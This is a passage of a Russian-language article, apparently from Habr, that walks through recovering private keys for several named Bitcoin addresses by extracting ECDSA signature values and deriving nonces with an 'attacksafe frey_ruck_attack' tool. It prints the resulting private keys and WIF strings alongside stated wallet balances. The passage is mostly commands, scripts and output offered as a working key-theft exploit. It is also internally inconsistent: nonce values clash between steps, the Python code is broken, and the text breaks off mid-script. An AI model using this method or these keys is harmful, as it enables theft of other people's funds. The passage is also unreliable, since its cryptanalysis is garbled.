![www.blockchain.com/btc/address/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5 www.blockchain.com/btc/address/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5](https://habrastorage.org/getpro/habr/upload_files/faa/cdb/5d6/faacdb5d624713b81e14768410e2df88.png)
BALANCE: $ 677.14
Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.
При детальном криптоанализе мы также нашли критическую уязвимость и в TXID:
e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393 для этого же Биткоин Адреса
Подготовим RawTX для атаки
1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
https://btc.exan.tech/tx/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393
![](https://habrastorage.org/getpro/habr/upload_files/d3c/b37/f8f/d3cb37f8f820317a9fe8de55582baef6.png)
RawTX = 01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000
![](https://habrastorage.org/getpro/habr/upload_files/6bb/ba2/bcb/6bbba2bcb6220dbd421fab43dd43a219.png)
R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975
Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1
Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX
в текстовый документ и сохраним как файл RawTX.txt
01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000
Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/918/423/9ea/9184239ea35d27817557fabe47e00ec6.png)
Мы запустили данную атаку из -tool frey_ruck_attack
и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/1fd/18a/b06/1fd18ab06014cbd9e1e88bb411571273.png)
Deployments ECDSA:
SecretKey = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154
RawTX = 01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000
Мы видим надпись "Deployments ECDSA"
это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE)
:
python3 point2gen.py 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154
![](https://habrastorage.org/getpro/habr/upload_files/5a4/312/361/5a43123618f1e12220b65dc89f55827c.png)
(0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8 , 0x8ef495c9057b590ef5437f710ad585bccc4344a48feeeb28c33bff8b7154662)
Проверяем координаты точки EC (secp256k1)
с значением сигнатуры R
R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975
Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1
R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
point2gen = (0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8 , 0x8ef495c9057b590ef5437f710ad585bccc4344a48feeeb28c33bff8b7154662)
ВСЕ ВЕРНО!
K = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotientx, x
y, lasty = lasty - quotienty, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154
R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975
Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1
print (h((((S * K) - Z) * modinv(R,N)) % N))
Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
![](https://habrastorage.org/getpro/habr/upload_files/1f2/005/53d/1f200553d0577f0a5e9e092d48fa8765.png)
PrivKey = 4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82
Откроем bitaddress и проверим:
ADDR: 1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
WIF: KysupQsbEPB7cEcUwpTpxdCAMTVLa9RjVtSzFZbrRV5pcNe2fk4Q
HEX: 4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82
![](https://habrastorage.org/getpro/habr/upload_files/3d0/dd7/b6e/3d0dd7b6e2107e4d81702326c5ba3d88.png)
https://www.blockchain.com/btc/address/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
Приватный ключ найден!
![www.blockchain.com/btc/address/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5 www.blockchain.com/btc/address/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5](https://habrastorage.org/getpro/habr/upload_files/d57/761/c57/d57761c57ae30a9a1c1c47958d1b5026.png)
BALANCE: $ 677.14
№3
При детальном криптоанализе мы также нашли критическую уязвимость и в Биткоин Адресе:
16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
https://btc.exan.tech/tx/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4
https://btc.exan.tech/tx/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6
![](https://habrastorage.org/getpro/habr/upload_files/b02/bfa/771/b02bfa7712e0e2e1c44a4af748df9fca.png)
![](https://habrastorage.org/getpro/habr/upload_files/c25/8d6/d9f/c258d6d9f9c60d40c5d7487b53fc104c.png)
Подготовим RawTX для атаки
16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
https://btc.exan.tech/tx/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4
![](https://habrastorage.org/getpro/habr/upload_files/f3d/990/381/f3d990381e66fa37288db138d46b1de7.png)
RawTX = 0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000
![](https://habrastorage.org/getpro/habr/upload_files/41c/76d/ddb/41c76dddb90c5bda3a8362f28c057e63.png)
R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a
Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0
Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX
в текстовый документ и сохраним как файл RawTX.txt
0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000
Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/0bc/910/c32/0bc910c326bca93f212da716200aca6c.png)
Мы запустили данную атаку из -tool frey_ruck_attack
и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/f9d/de3/cc3/f9dde3cc39dde2333547c8611c02aa2d.png)
Deployments ECDSA:
SecretKey = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce
RawTX = 0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000
Мы видим надпись "Deployments ECDSA"
это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE)
:
python3 point2gen.py 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce
![](https://habrastorage.org/getpro/habr/upload_files/452/de7/753/452de7753bd672b309cea0dbe5604811.png)
(0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143 , 0xe9c10b0f39c777469072719ca1981197061d58b4cbf354d60a0ebb63d5bf6125)
Проверяем координаты точки EC (secp256k1)
с значением сигнатуры R
R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a
Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0
R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
point2gen = (0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143 , 0xe9c10b0f39c777469072719ca1981197061d58b4cbf354d60a0ebb63d5bf6125)
ВСЕ ВЕРНО!
K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotientx, x
y, lasty = lasty - quotienty, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce
R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a
Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0
print (h((((S * K) - Z) * modinv(R,N)) % N))
Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
![](https://habrastorage.org/getpro/habr/upload_files/726/ab3/a20/726ab3a201f875049cf006f4271b59e1.png)
PrivKey = 4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1
Откроем bitaddress и проверим:
ADDR: 16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
WIF: KyptrwaRhaF7VCwnWo2FDMoRCj9KGvoESDGmxtRk7b65csxaU2aM
HEX: 4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1
![](https://habrastorage.org/getpro/habr/upload_files/635/7de/c80/6357dec80d082fb05816c488c0cab594.png)
https://www.blockchain.com/btc/address/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
Приватный ключ найден!
![www.blockchain.com/btc/address/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2 www.blockchain.com/btc/address/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2](https://habrastorage.org/getpro/habr/upload_files/0f6/964/67c/0f696467c8fe414914ad21c19dfb5cc9.png)
BALANCE: $ 711.91
Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.
При детальном криптоанализе мы также нашли критическую уязвимость и в TXID:
989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6 для этого же Биткоин Адреса
Подготовим RawTX для атаки
16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
https://btc.exan.tech/tx/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6
![](https://habrastorage.org/getpro/habr/upload_files/659/8a4/cec/6598a4cecfbcaed71645e810e55573c0.png)
RawTX = 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000
![](https://habrastorage.org/getpro/habr/upload_files/2bc/e83/cea/2bce83ceac18c55ef25d79b2a9fe89e2.png)
R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30
Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc
Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX
в текстовый документ и сохраним как файл RawTX.txt
0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000
Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/3ca/eb8/521/3caeb8521cf894ac1842de479c36fc5d.png)
Мы запустили данную атаку из -tool frey_ruck_attack
и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/11b/147/ea0/11b147ea028979a1be0bb2223bd55962.png)
Deployments ECDSA:
SecretKey = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55
RawTX = 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000
Мы видим надпись "Deployments ECDSA"
это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE)
:
python3 point2gen.py 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55
![](https://habrastorage.org/getpro/habr/upload_files/abf/5bd/816/abf5bd8160dd0ca0e639fb039949b45c.png)
(0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238 , 0xfc2f3b91b19091745fb29d48725f1060ce4924624b01ff57f14b683430822c8a)
Проверяем координаты точки EC (secp256k1)
с значением сигнатуры R
R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30
Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc
R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
point2gen = (0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238 , 0xfc2f3b91b19091745fb29d48725f1060ce4924624b01ff57f14b683430822c8a)
ВСЕ ВЕРНО!
K = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotientx, x
y, lasty = lasty - quotienty, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55
R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30
Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc
print (h((((S * K) - Z) * modinv(R,N)) % N))
Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
![](https://habrastorage.org/getpro/habr/upload_files/f75/411/ebc/f75411ebcdf4f3d1598e78923854c27f.png)
PrivKey = 4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1
Откроем bitaddress и проверим:
ADDR: 16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
WIF: KyptrwaRhaF7VCwnWo2FDMoRCj9KGvoESDGmxtRk7b65csxaU2aM
HEX: 4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1
![](https://habrastorage.org/getpro/habr/upload_files/617/f57/e9d/617f57e9dfa64f4d74741b2f54e8eed7.png)
https://www.blockchain.com/btc/address/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
Приватный ключ найден!
![www.blockchain.com/btc/address/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2 www.blockchain.com/btc/address/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2](https://habrastorage.org/getpro/habr/upload_files/2a1/ce5/de7/2a1ce5de72671639d46476a08b9103ce.png)
BALANCE: $ 711.91
№4
При детальном криптоанализе мы также нашли критическую уязвимость и в Биткоин Адресе:
12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
https://btc.exan.tech/tx/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542
https://btc.exan.tech/tx/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af
![](https://habrastorage.org/getpro/habr/upload_files/f39/872/bf7/f39872bf7978dde85be4f102af451e1f.png)
![](https://habrastorage.org/getpro/habr/upload_files/9ef/7c4/514/9ef7c45140027964f25133a53828238b.png)
Подготовим RawTX для атаки
12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
https://btc.exan.tech/tx/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542
![](https://habrastorage.org/getpro/habr/upload_files/c70/50e/300/c7050e300b1c113d5543095cea6287bc.png)
RawTX = 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000
![](https://habrastorage.org/getpro/habr/upload_files/237/376/31e/23737631e2a4d4d7db5ffe8dff7c44fa.png)
R = 0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675
S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac
Z = 0xccbd1c0f0ef3f70fb985e64184014998a8435078b7bb75e51ca6ae1c37aa30e1
Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX
в текстовый документ и сохраним как файл RawTX.txt
0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000
Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/d55/fd6/d6a/d55fd6d6af645c1d273d0ca90a780d85.png)
Мы запустили данную атаку из -tool frey_ruck_attack
и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/dfb/11e/b12/dfb11eb1224f0ce5edbeafe686692c7b.png)
Deployments ECDSA:
SecretKey = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f
RawTX = 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000
Мы видим надпись "Deployments ECDSA"
это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE)
:
python3 point2gen.py 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f
![](https://habrastorage.org/getpro/habr/upload_files/04d/530/6b5/04d5306b5df68f851a531cbc4e3588e2.png)
(0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675 , 0x79751db08bb33615fbdf6387f5f0f28c6702213eb20607e28760af1aaaeb273e)
Проверяем координаты точки EC (secp256k1)
с значением сигнатуры R
R = 0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675
S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac
Z = 0xccbd1c0f0ef3f70fb985e64184014998a8435078b7bb75e51ca6ae1c37aa30e1
R = 0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675
point2gen = (0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675 , 0x79751db08bb33615fbdf6387f5f0f28c6702213eb20607e28760af1aaaeb273e)
ВСЕ ВЕРНО!
K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
